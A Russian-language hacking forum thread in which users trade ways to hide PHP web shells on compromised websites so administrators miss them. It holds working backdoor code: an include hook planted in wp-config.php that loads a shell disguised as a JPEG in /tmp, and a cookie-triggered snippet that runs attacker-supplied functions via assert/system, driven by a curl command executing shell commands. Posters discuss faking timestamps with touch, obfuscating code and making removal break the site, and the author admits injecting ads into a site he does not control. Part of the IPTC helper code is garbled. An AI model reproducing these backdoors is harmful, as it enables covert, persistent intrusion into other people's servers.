Просмотр полной версии : Маскируем Shell || Прячемся от админа
Пару недель назад решил взять себя в руки, и начать учить PHP, а то паскаль не в счёт. Есть у меня один сайт, в котором я нехило накосячил по неопытности, в итоге админы посносили все шеллы, и начали регулярно проверять на наличие блох.
Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего. Всё в конечном итоге сводится к тому, что-бы добавить что-то в .htaccess, а мои админы это палят. Еще конечно был вариант с Cron'ом на линуксе, но это ужасно неудобно, ведь однажды админы разозлятся и пофиксят валнераблу.
И тут мне пришла идея, вроде всё просто, но это работает:
Code:
$data = $_GET['youpass'];
if ($data == "youpass")
include "/tmp/6.jpg";
Для начала, нам нужно найти какой-нибудь PHP'шник, который не будет давать никакого результат на экран. В моем случае сайт стоит на WP, и я выбрал wp-config.php. В PHP есть очень хорошая команда include, которой всё равно на расширение. Она открывает и выполняет код, т.е можно запихнуть шелл в любую папку доступную для записи с любым расширением.
Минусы:
От админов, которые умеют читать логи ничего не спасёт.
Прошло 3 недели. а шелл никто не фиксит. Способ работает.Вообщем-то всё. Надеюсь мои занятия по PHP не пройдут даром)
это палит access_log. плюс, если админы не проверяют все файлы на сервере - это горе админы. wp-config не должен вообще быть в access логе, а если есть - значит что-то не так. способ хорош только для тех, кто только что познакомился с интернетом. без обид
winstrool
28.07.2015, 19:55
Filipp said:
↑ (https://antichat.live/posts/3873720/)
Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего.
Вы представляете, что есле весомые способы были в паблике, то они перестале бы быть таковыми
P.S: Метод с легкостью палится
yarbabin said:
↑ (https://antichat.live/posts/3873746/)
это палит access_log
Любой шелл палят логи, если их нельзя удалить)) Бэкдоры оставляют именно таким способом. Wp-config был приведен как пример, обычно есть еще масса других PHP'шников. Вот как вы поймете что на сайте шелл?) Описанный мной метод занимает 1-2КБ веса, что почти незаметно) + код можно закриптить. Далее touch'ишь по дате, и всё. Единственный способ это сравнения веса файла, и то, файлы обновляются, вдруг эту модификацию внесло какое-нить дополнение или плагин? Только если очень грамотный админ спалит. Вот если бы вы были админом античата, вы бы такое спалили? Допустим логов нет, тут всё понятно, те кто дружат с логами это спалят.
winstrool
28.07.2015, 21:49
Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах
$_GET, это два, по хешь суммам оригинальной CMS и про трояненой!
а файл, который вы инклудите, это что? он тоже ничего не весит?
с таким же успехом залейте htaccess и пусть jpg исполняется как php
winstrool said:
↑ (https://antichat.live/posts/3873800/)
Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах
$_GET, это два, по хешь суммам оригинальной CMS и про трояненой!
Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.
yarbabin said:
↑ (https://antichat.live/posts/3873815/)
с таким же успехом залейте htaccess и пусть jpg исполняется как php
Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа. А по поводу файла который инклудится, обратите внимания на его путь. Вы бы додумались искать шелл в темповской папке, ил любой другой с правами на запись?
winstrool
28.07.2015, 22:27
Filipp said:
↑ (https://antichat.live/posts/3873816/)
Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.
Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!
Filipp said:
↑ (https://antichat.live/posts/3873818/)
Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа.
Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл)))))
-=Cerberus=-
28.07.2015, 22:32
О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
winstrool said:
↑ (https://antichat.live/posts/3873819/)
Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!
Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл[/QOUTE]
Так я ничего не создаю, я редактирую уже существующий файл. С htaccess'ом тоже метод хорош, не спорю, я просто предложил новый способ, менее паливный.
-=Cerberus=- said:
↑ (https://antichat.live/posts/3873822/)
О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
Угу, я так и делал раньше. Пытаюсь толкать рекламу по ночам на сайт, постоянно что-то дописываю и редактирую.. Шелл нужен через каждый час) Легче раз сделать чем по 100 раз заливаться. Ну а так да, вы абсолютно правы.
http://translate.wooyun.io/2015/07/28/The-Secrets-of-Creating-Tips-PHP-Reverse-Backdoors.html
способ на любителя
находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
.SpoilerTarget" type="button">Spoiler
Code:
meta = iptcparse($info["APP13"]);
$this->file = $filename;
}
function getValue($tag)
{
return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
}
function setValue($tag, $data)
{
$this->meta["2#$tag"] = [$data];
$this->write();
}
private function write()
{
$mode = 0;
$content = iptcembed($this->binary(), $this->file, $mode);
$filename = $this->file;
if(file_exists($this->file)) unlink($this->file);
$fp = fopen($this->file, "w");
fwrite($fp, $content);
fclose($fp);
}
private function binary()
{
$data = "";
foreach(array_keys($this->meta) as $key)
{
$tag = str_replace("2#", "", $key);
$data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
}
return $data;
}
function iptc_maketag($rec, $data, $value)
{
$length = strlen($value);
$retval = chr(0x1C) . chr($rec) . chr($data);
if($length > 8) . chr($length & 0xFF);
}
else
{
$retval .= chr(0x80) .
chr(0x04) .
chr(($length >> 24) & 0xFF) .
chr(($length >> 16) & 0xFF) .
chr(($length >> 8) & 0xFF) .
chr($length & 0xFF);
}
return $retval . $value;
}
function dump()
{
echo "";
print_r($this->meta);
echo "";
}
#requires GD library installed
function removeAllTags()
{
$this->meta = [];
$img = imagecreatefromstring(implode(file($this->file)));
if(file_exists($this->file)) unlink($this->file);
imagejpeg($img, $this->file, 100);
}
}
$file = "test.jpg";
$time = filemtime($file);
$objIPTC = new IPTC($file);
//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);
?>
после выполнения скрипт должен вывести "_COOKIE"
затем в нужный php файл, в нужном месте добавляем следующий код
Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
пример работы
Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash
+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
t0ma5 said:
↑ (https://antichat.live/posts/3966148/)
способ на любителя
находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
Spoiler
Code:
meta = iptcparse($info["APP13"]);
$this->file = $filename;
}
function getValue($tag)
{
return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
}
function setValue($tag, $data)
{
$this->meta["2#$tag"] = [$data];
$this->write();
}
private function write()
{
$mode = 0;
$content = iptcembed($this->binary(), $this->file, $mode);
$filename = $this->file;
if(file_exists($this->file)) unlink($this->file);
$fp = fopen($this->file, "w");
fwrite($fp, $content);
fclose($fp);
}
private function binary()
{
$data = "";
foreach(array_keys($this->meta) as $key)
{
$tag = str_replace("2#", "", $key);
$data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
}
return $data;
}
function iptc_maketag($rec, $data, $value)
{
$length = strlen($value);
$retval = chr(0x1C) . chr($rec) . chr($data);
if($length > 8) . chr($length & 0xFF);
}
else
{
$retval .= chr(0x80) .
chr(0x04) .
chr(($length >> 24) & 0xFF) .
chr(($length >> 16) & 0xFF) .
chr(($length >> 8) & 0xFF) .
chr($length & 0xFF);
}
return $retval . $value;
}
function dump()
{
echo "";
print_r($this->meta);
echo "";
}
#requires GD library installed
function removeAllTags()
{
$this->meta = [];
$img = imagecreatefromstring(implode(file($this->file)));
if(file_exists($this->file)) unlink($this->file);
imagejpeg($img, $this->file, 100);
}
}
$file = "test.jpg";
$time = filemtime($file);
$objIPTC = new IPTC($file);
//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);
?>
после выполнения скрипт должен вывести "_COOKIE"
затем в нужный php файл, в нужном месте добавляем следующий код
Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
пример работы
Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash
+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
А я и забыл про этот пост, так давно это дело писал. Теперь вижу со стороны свои ошибки.. Да все можно сделать намного проще. Например, не проверять GET параметр, а куку. Тогда в логах вообще будет что то типа POST index.php
я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
winstrool
02.04.2016, 17:37
Hummer said:
↑ (https://antichat.live/posts/3969521/)
я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "нихуя вообще работать не будет =)))))"
P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
winstrool said:
↑ (https://antichat.live/posts/3969524/)
А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "
нихуя вообще работать не будет =)))))
"
P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?
Hummer said:
↑ (https://antichat.live/posts/3969718/)
Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?
Все неопытные и опытные админы первым делом смотрят в индекс и это факт. Конечно можно воспользоваться некоторыми хитростями и помещать их именно в индекс, но это подходит только когда нужно закрепиться на сайте, что бы админ не догадывался что вы есть.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot